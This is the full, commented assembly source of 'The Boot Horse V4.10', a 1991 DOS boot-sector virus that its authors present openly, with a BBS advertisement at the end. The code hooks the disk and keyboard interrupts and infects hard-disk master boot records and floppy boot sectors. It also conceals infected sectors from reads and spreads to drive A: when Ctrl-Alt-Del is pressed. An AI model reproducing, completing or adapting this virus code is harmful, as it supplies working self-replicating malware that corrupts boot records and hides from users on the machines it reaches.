.radix 16 ;****************************************** ; * ; Code masters LTD. presents: * ; THE BOOT HORSE V4.10 * ; Finished on the 25.04.1991. * ; This is a boot virus,which does not * ; "cuts" memory.It places itself into the * ; second part of the interrupt table.If * ; it is resident you will not be able to * ; see the infected boot sector.If you * ; press CTRL-ALT-DEL & INT 13h had not * ; been changed,drive A: will be infected. * ; It shows you the message 'Brr...!' with * ; possibility 1/16. * ; Good luck! * ;****************************************** Start: cld ;clear direction xor ax,ax ;clear ax mov bp,7c00 ;bp=7c00 mov ds,ax ;ds=ax=0 mov ss,ax ;ss=ax=0 mov sp,bp ;sp=bp=7c00 push ax ;save abs. addr. 0000:7c00 in stack for retf push bp ; xor di,di ;clear di les bx,[di+9*4] ;load es:bx with current int 09h mov word ptr [bp+old9h-Start],bx ;save it in a variable mov word ptr [bp+old9h-Start+2],es les bx,[di+13*4] ;load es:bx with current int 13h mov word ptr [bp+old13h-Start],bx ;save it in a variable mov word ptr [bp+old13h-Start+2],es mov ax,0020 ;ax=20 mov [di+9*4],offset int9h-Start ;set int 09h mov [di+9*4+2],ax mov [di+13*4],offset int13h-Start ;set int 13h mov [di+13*4+2],ax mov es,ax ;es=ax=20 mov cx,0200 ;will move 512 bytes mov si,bp ;si=bp=7c00 rep movsb ;move to 0020:0000 (vectors) push es ;save es&ax for retf mov ax,offset here-Start push ax retf ;go to 0020:here-Start here: test byte ptr [046C],0F ;show a message with possibility 1/16 jnz dont mov si,offset msg-Start ;si point the message mov cx,endmsg-msg ;strings to show show_it: db 26 ;ES:lodsb lodsb ;load next char mov ah,0e ;show char xor bh,bh int 10 ;do it loop show_it ;show next dont: xor ah,ah ;initialize int 13 mov es,cx ;es=cx=0 xchg ax,di inc ax ;ax=201 =>read one sector. mov bx,bp ;bx=bp=7c00 inc cx ;sector 1,cylinder 0.boot sector mov dx,0080 ;dx=0080 cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd je hard push dx ;save dx xor dl,dl ;drive A: push ax ;save ax int 13 ;read old bootsector from diskette pop ax ;restore ax=201,read one sector pop dx ;drive C: mov bx,0600 ;bx=600 call ojoj ;read hdd's boot sector jc goout ;no hdd installed call check ;infected? je goout ;yes ->out! mov ax,0301 ;write one sector (save old) push ax ;save ax mov cx,0004 ;sector 4,cylinder 0 int 13 ;do it mov byte ptr cs:[ident-Start],dl ;set identificator push cs ;es=cs pop es mov si,07BE ; mov di,01BE ; copy old partition mov cx,64d ; rep movsb ; pop ax ;Write one sector,ax=301 xor bx,bx ;from addr ES:BX,bx=0 =>write virus inc cx ;sector 1,cylinder 0.Boot sector. hard: int 13 ;do it goout: mov byte ptr cs:[ident-Start],0 ;set ident retf ;go to 0000:7c00 int13h: ;save ax,ds push ax push ds cmp ah,02 ;function read? jne skip cmp dl,80 ;drive A,B or C? ja skip cmp cx,0001 ; jne notboot ;gonna read bootsector? or dh,dh ; jnz notboot ; pop ds ;restore ax,ds pop ax call ojoj ;execute the task jc all ;if error then no sence pushf ;save some registers push ax push cx push dx call check ;infected? jne notnow mov ax,0201 inc cx ;if so then make some tricks inc cx ;sector 3,cylinder 0 inc dh ;side 1 test dl,80 ;hdd? je dolie ;if not then inc cx ;sector 4,cylinder 0 dec dh ;side 0 dolie: call ojoj ;read boot notnow: pop dx ;restore registers pop cx pop ax popf all: ; retf 0002 ;return to caller db 0ca,2,0 notboot: test dl,80 ;drive=C? jne skip ;if so =>out! xor ax,ax ;clear ax mov ds,ax ;ds=ax=0 mov al,byte ptr [043F] ;this byte shows whether the motor is active push dx ;save dx inc dl ;adjust dl test al,dl ;check if the motor is active. pop dx ;restore dx jnz skip ;if so =>leave call infect ;infect it skip: pop ds ;restore flags,ax,ds pop ax do: db 0EAh ;go to the original int 13h old13h dd 000h ;JMP XXXX:XXXX infect: push bx ;save some registers push cx push dx push es mov ax,0201 ;will read 1 sector mov cx,0001 ;sector 1,cylinder 0 xor dh,dh ;side 0 call ojoj ;do it jc leave ;on error... mov byte ptr cs:[count-Start],36d ;load counter call check ;infected? je leave ;leave if so. mov ax,0301 ;write one sector inc cx ;sector 3,cylinder 0 inc cx inc dh ;side 1 push ax ;save ax call ojoj ;do write (save old bootsector) pop ax ;restore ax jc leave ;write protected push cs ;es=cs pop es xor bx,bx ;write virus dec cx ;make cx=1 dec cx ;sector 1,cylinder 0 dec dh ;side 0 call ojoj ;that's it! leave: pop es ;restore registers pop dx pop cx pop bx ret ;return ojoj: pushf ;this calles the original int 13h push cs call do ret check: cmp es:[bx],31FCh ;this checks the first 2 bytes ret ;to understand if the disk is infected int9h: push ax ;the keybord interrupt.save AX mov ah,02 ;check if ctrl-alt is pressed int 16 ; test al,00001100b ;if not =>exit jz exit in al,60 ;is del pressed? cmp al,53 je cont ;if so... exit: pop ax ;restore ax db 0EAh ;go to the old int 09h old9h dd 000h ;JMP XXXX:XXXX cont: mov al,20 ;free interrupts out 20,al ;do it mov ax,0003 ;clear screen int 10 ;do it mov dx,03D8 ;chose video port mov al,04 ;video flag out dx,al ;no video mov ax,0060 ;es=60 mov es,ax ; xor bx,bx ;drive A xor dl,dl ;bx=0 mov ds,bx ;dx=bx=0 mov byte ptr cs:[count-Start],18d ;load counter to 1 sec. cli ;set int 1ch mov [bx+1c*4],offset int1ch-Start mov [bx+1c*4+2],cs sti cmp [bx+13*4],offset int13h-Start ;is int 13h changed? jne reset ;if so reset computer call infect ;infect disk in drive A reset: xor bx,bx mov ds,bx ;don't count memory ! mov [bx+0472],1234 ; JMP FFFF:0000 ;Reset db 0ea,00,00,0ff,0ff int1ch: dec byte ptr cs:[count-Start] ;decrease counter jz reset ;if zero then reset iret ;otherwise continue msg db 'Brr...!',7,0a,0dh, ;message endmsg label word ident db 0 ;0 for fdd,80 for hdd count label byte partition db 64d dup (?) bootident dw 0AA55 endcode label word  ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�; ;컴컴컴컴컴컴컴컴컴> and Remember Don't Forget to Call <컴컴컴컴컴컴컴컴컴; ;컴컴컴컴컴컴> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <컴컴컴컴컴; ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�;